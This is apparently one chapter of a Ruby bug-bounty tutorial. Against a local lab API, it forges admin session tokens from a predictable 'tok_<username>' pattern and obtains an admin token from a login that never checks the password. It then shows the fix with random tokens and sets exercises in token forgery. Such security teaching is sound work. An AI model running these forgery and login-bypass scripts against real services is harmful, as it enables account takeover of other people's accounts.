// Bug Bounty Automation in Ruby · Part 4
Breaking authentication
Part 3 abused what a token was allowed to do. Now we attack the token itself — and the login that hands it out. We forge an admin session from the username alone, then get one with a garbage password, and learn what a real token has to look like.
In Part 3 we had a valid token and abused what it could reach. This part is more fundamental: we go after authentication — proving who you are — rather than authorization. If you can mint a valid session for someone else, every authorization check downstream is moot, because the server already believes you’re them.
Two things make that possible here, and both are real bug classes you’ll meet in
the wild. Start auth.rb with the usual authenticated GET:
require 'net/http'
require 'json'
require 'uri'
require 'securerandom'
BASE = 'http://127.0.0.1:4567'
def get(path, token)
uri = URI("#{BASE}#{path}")
req = Net::HTTP::Get.new(uri)
req['Authorization'] = "Bearer #{token}"
Net::HTTP.start(uri.host, uri.port) { |http| http.request(req) }
end
The token is a pattern, not a secret
Back in Part 1 we logged in as alice and got tok_alice. Look at that string.
It’s the word tok_ glued to the username — which means it isn’t a secret at
all, it’s a template you can fill in. Build tokens for names we never logged
in as and see who the server thinks we are:
%w[alice bob admin].each do |name|
token = "tok_#{name}"
res = get('/api/me', token)
who = res.code.to_i == 200 ? JSON.parse(res.body)['role'] : 'rejected'
puts " #{token.ljust(12)} -> #{who}"
end
"tok_#{name}" builds each guess by interpolation. We never authenticated as
anyone here — we just asserted a token and asked /api/me to confirm it:
$ ruby auth.rb
tok_alice -> user
tok_bob -> user
tok_admin -> admin
tok_admin works, and it’s an admin session. We forged it from three known
letters and a guessed username. A session token has exactly one job — to be
unguessable — and this one is a fill-in-the-blank.
The login doesn’t check the password
There’s a second, independent hole. The forge above assumed we’d seen one token
and spotted the pattern. But we don’t even need that: the /login endpoint hands
out a token for any name, and never checks the password. Watch:
def login(name, password)
res = Net::HTTP.post(URI("#{BASE}/login"),
{ 'name' => name, 'pass' => password }.to_json,
'Content-Type' => 'application/json')
JSON.parse(res.body)['token']
end
admin = login('admin', 'not-even-close')
role = JSON.parse(get('/api/me', admin).body)['role']
puts "[+] logged in as admin with a junk password -> #{admin} (#{role})"
$ ruby auth.rb
...
[+] logged in as admin with a junk password -> tok_admin (admin)
We sent not-even-close as the password and the server issued the admin token
anyway. Either bug alone is a full account takeover; together they’re two
different front doors to the same admin session.
What a token should look like
The fix for both is worth seeing, because it’s what you’ll recommend in the
report. A real token is random, not derived from anything about the user —
so it can’t be guessed or rebuilt. Ruby’s securerandom makes one:
puts "a real token: #{SecureRandom.hex(32)}"
$ ruby auth.rb
...
a real token: 9f2c8a1e... (64 hex chars, 256 bits of entropy)
That’s 256 bits of randomness — no pattern, no username in it, not brute-forceable in any human timescale. Two rules fall out of this part: verify the password before issuing anything, and make the thing you issue random. An API that skips either hands out admin for free.
Takeaways
- Predictable tokens are an auth bypass. If a session token is built from the username (or a counter, or a timestamp), you can forge one for any account. Look at your own token first — its structure is the tell.
- Missing password verification: a
/loginthat returns a token regardless of the password is a takeover on its own. Send a deliberately wrong password and see if you still get in. "tok_#{name}"andSecureRandom.hex(n)are two ends of the spectrum: guessable string-building versus real entropy.- Authentication sits under authorization. Break it and every permission check above it is decoration.
Exercises
- You saw
tok_adminworks. Confirm the whole platform is exposed: forge each user’s token and print their balance from/api/me, no logins at all. - A slightly less obvious scheme is
Base64of the username. Encodeadminwithrequire 'base64'; Base64.strict_encode64('admin')and reason about why encoding is not the same as securing. - Combine this with Part 3: log in as
alicewith any password, then use the admin-stats BFLA — how much of the platform can you touch starting from a single guessed name?
Next — Part 5: we stop handing the server the inputs it expects. We fuzz — throwing crafted fields and values at endpoints — and trip the lab’s mass-assignment bug into making us rich.